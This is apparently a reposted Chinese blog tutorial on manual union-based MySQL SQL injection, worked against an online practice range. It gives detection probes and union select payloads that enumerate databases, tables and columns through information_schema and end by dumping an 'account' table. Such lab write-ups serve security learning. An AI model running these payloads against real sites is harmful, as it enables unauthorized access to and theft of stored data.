mysql注入漏洞_WEB 安全学习 一、mysql 注入漏洞

转载: https://www.cnblogs.com/cui0x01/p/8620524.html

一、Mysql数据库结构

数据库A

表名

列名

数据

数据库B

表名

列名

数据

Mysql5.0以上自带数据库:information_schema

information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)

参数及解释

database():数据库名

user():数据库用户

version():数据库版本

@@version_compile_os:操作系统

符号“.”代表下一级的意思

information_schema.tables:

information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

information_schema.columns:

information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

Table_schema:数据库名

Table_name:表名

Column_name:列名

下面使用手工  对   数字型sqli 注入漏洞进行注入

感谢  米斯特安全 提供的在线靶场

地址  :http://132.232.100.27:88/

输入1  返回正常

输入 1' 返回错误

输入 1+1 返回正常,存在数字型注入漏洞

(也可以使用  1 and 1=1 返回正常)

(1 and 1=2 来进行判断 如果 1=1 返回正常页面  1=2 返回错误页面存在注入漏洞)

SELECT * FROM news WHERE id = 1 and 1=2

SELECT * FROM news WHERE id = 1 and 1=2

9e3d524b628279d8dbe1cc3f34793796.png

49deb28c182fbf79b808f6e3ed55a1f6.png

查询表中的字段数  (也可以使用order by 我这里使用的是union select)

在input 中输入1 union select 1,2,3 返回正常页面

在input 中输入1 union select 1,2,3,4 返回错误页面

说明 该表中有3个字段

SELECT * FROM news WHERE id = 1 union select 1,2,3

下面使用 database(),user(),version() 来替换其中的 1,2,3就可分别看见 数据库中的 数据库名  用户  版本

85e4f7bbe4d1025f24bef309ce812d92.png

查询数据库  -1 union select  1,database(),3

51ee42c2ac411cb7b5aee9595024b72c.png

可以查出数据库的名称就:pentest

group_concat语法:

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

查询所有的数据库

-1 union select 1,group_concat(schema_name),3 from information.schemata

注意 改变的时候 不要将 1  替换 ,好像没有查询 字段1,如果替换字段1  是没有反应的

40c7616fed48cde77d5a206d3a64755d.png

可以查出 数据库中 有  information_schema,mysql,pentest,performance_schema  等库

查询出来数据库,那么下一步 我们就查询 pentest 数据库下的数据表

查询  = 数据库名的时候  需要将数据库的名称为16进制编码,提供一个编码转换的地址(https://www.bejson.com/convert/ox2str/)

pentest   =====>    0x70656e74657374

在输入框中输入 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x70656e74657374

查询结果如下

dcbf22482fa9c1b8cdbb365e8360c85f.png

pentest数据库中 有两个表分别为   account   和  news

下面查询 account表中的列

account转换为 16进制

account ------->>>>  0x6163636f756e74

下一步 查询 account表中的列名

在输入框中输入

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name =0x6163636f756e74

查询结果如下 : 有三个 字段  Id  rest  own

cc948710cbf5b3a9dd6479b73286881c.png

最后一步,查询表中的数据

-1 union select 1,rest,own from account

最终查询出来的结果为

c0f60c3ed0a428e5de8ad73d2aaf2931.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值